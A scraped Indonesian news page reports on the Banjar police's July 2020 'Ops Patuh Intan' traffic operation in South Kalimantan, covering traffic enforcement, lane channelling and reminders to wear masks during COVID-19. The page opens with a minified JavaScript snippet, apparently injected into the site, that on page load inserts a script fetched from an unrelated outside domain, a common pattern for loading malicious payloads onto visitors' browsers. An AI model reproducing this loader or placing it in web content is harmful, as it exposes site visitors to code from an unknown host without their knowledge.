(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA –
Kepolisian Resor Banjar Kalimantan Selatan
melaksanakan Ops Intan di hari ke lima, sejak dimulainya kegiatan, yakni 23 Juli hingga 5 Agustus 2020.
Kasatlantas Polres Banjar, AKP Faizal Rahman mengatakan, akan mengedepankan tindakan preemtif dan preventif selama operasi menyesuaikan kondisi saat ini yang tengah dilanda pandemi COVID-19.
Giat Operasi Patuh Intan di hari yang ke lima dilaksanakan di halaman Mapolres Banjar dan di pimpin langsung oleh Kasat Lantas AKP Faizal Rahman, pada Senin, (27/7/2020) pukul 16:00 Wita
AKP Faizal kepada Kanalkalimantan.com, mengatakan, Giat operasi kali ini yaitu, sesuai tema operasi “Patuh Intan” yakni patuh dalam berlalu lintas dan menerapkan protokol kesehatan guna memutus rantai COVID-19 khususnya di Kabupaten Banjar.
“Langkah penindakan atau refresif dilakukan secara selektif prioritas yang dikenakan kepada para pengendara roda dua maupun roda empat jika melakukan pelanggaran secara kasat mata, seperti tidak memakai helm, tidak memakai spion, melawan arah, serta pelat sepeda motor yang dimodifikasi, untuk pengendara yang tidak memakai masker, akan kami beri teguran,” papar AKP Faizal
Jadi, lanjut dia, tindakan yang dilakukan lebih mengutamakan pencegahan terhadap pelanggaran lalu lintas, apabila terjadi pelangggaran secara kasat mata, petugas akan menindak dengan melakukan tilang.
“Giat atau razia stationer satu titik tetap dilaksanakan tetapi disesuaikan situasi dan kondisi karena tidak ingin menimbulkan terjadinya kerumunan orang,” tegas AKP Faizal
Bagaimana pun, samvung dia, razia pada satu titik akan menimbulkan kerumunan orang, sementara hal itu dihindari untuk memutus matarantai penyebaran COVID-19, sehingga razia stationer akan dilaksanakan selektif dan prioritas.
Pantauan kanalkalimantan.com, para petugas mengimbau setiap pengendara roda dua dan roda empat untuk mematuhi aturan lalu lintas, dan menjalankan protokol kesehatan dengan memakai masker saat berkendara.
Petugas juga menerapkan sistem Kanalisasi, yaitu memecah arus yang lebih lambat di sebelah kiri, yang lebih cepat disebelah kanan, yang mana roda empat di lajur sebelah kanan roda dua sebelah kiri.
Petugas kepolisian tetap melaksanakan razia dengan sistem hunting, apabila terjadi pelanggaran lalu lintas secara kasat mata, petugas akan mengenakan tilang, namun jika hanya tidak pakai masker maka pengendara akan diingatkan untuk memakai masker. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.